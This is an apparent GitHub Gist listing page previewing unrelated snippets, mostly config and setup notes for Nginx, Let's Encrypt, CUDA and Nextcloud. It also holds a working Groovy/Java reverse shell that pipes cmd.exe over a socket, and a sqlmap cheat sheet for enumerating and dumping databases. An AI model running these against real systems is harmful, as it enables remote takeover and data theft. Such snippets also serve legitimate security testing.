Skip to content

Instantly share code, notes, and snippets.

@Stanback
Stanback / nginx.conf
Last active October 1, 2024 23:28 — forked from michiel/cors-nginx.conf
Example Nginx configuration for adding cross-origin resource sharing (CORS) support to reverse proxied APIs
#
# CORS header support
#
# One way to use this is by placing it into a file called "cors_support"
# under your Nginx configuration directory and placing the following
# statement inside your **location** block(s):
#
# include cors_support;
#
# As of Nginx 1.7.5, add_header supports an "always" parameter which
@i-Robi
i-Robi / notes-frequencies.json
Last active July 1, 2024 22:03
Note-frequency values
{
"C0": 16.35,
"C#0": 17.32,
"Db0": 17.32,
"D0": 18.35,
"D#0": 19.45,
"Eb0": 19.45,
"E0": 20.60,
"F0": 21.83,
"F#0": 23.12,
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@cecilemuller
cecilemuller / letsencrypt_2020.md
Last active September 29, 2024 08:31
How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SSL rating)

How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SLL rating)


Virtual hosts

Let's say you want to host domains first.com and second.com.

Create folders for their files:

@wangruohui
wangruohui / Install NVIDIA Driver and CUDA.md
Last active September 15, 2024 18:49
Install NVIDIA Driver and CUDA on Ubuntu / CentOS / Fedora Linux OS
@nl5887
nl5887 / readme.md
Last active October 12, 2020 16:11
Install oclHashCat on Ubuntu 16.04
apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y

apt-get install build-essential

sh ./NVIDIA-Linux-x86_64-367.27.run

# this will remove nouveau module during boot

update-initramfs -u
@jkullick
jkullick / sqlmap-cheat-sheet.md
Last active November 10, 2024 16:50
SQLMap Cheat Sheet
# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
@fatfisz
fatfisz / mersenne.js
Last active August 17, 2017 09:21
Mersenne Twister as an ES module (one export - a function)
/**
* Modified from the gist: https://gist.github.com/methodin/1553779
*/
const seed = 42;
const length = 624;
const offset = 397;
const multiplier = 0x6c078965;
const upper = 0x80000000;
@tavinus
tavinus / cloudsend.sh
Last active September 12, 2024 12:57
Send files to Nextcloud/Owncloud shared folder using curl
#!/usr/bin/env bash
############################################################
# MIGRATED TO REPOSITORY
# https://github.com/tavinus/cloudsend.sh
#
# This gist will NOT be updated anymore
############################################################
############################################################
@InsOpDe
InsOpDe / scantofile-0.2.4-1.sh
Created April 1, 2019 18:36
Script for brscan-skey
#! /bin/sh
set +o noclobber
#
# $1 = scanner device
# $2 = friendly name
#
# ==============================================
# resolution: dpi
# mode: color, grayscale and so on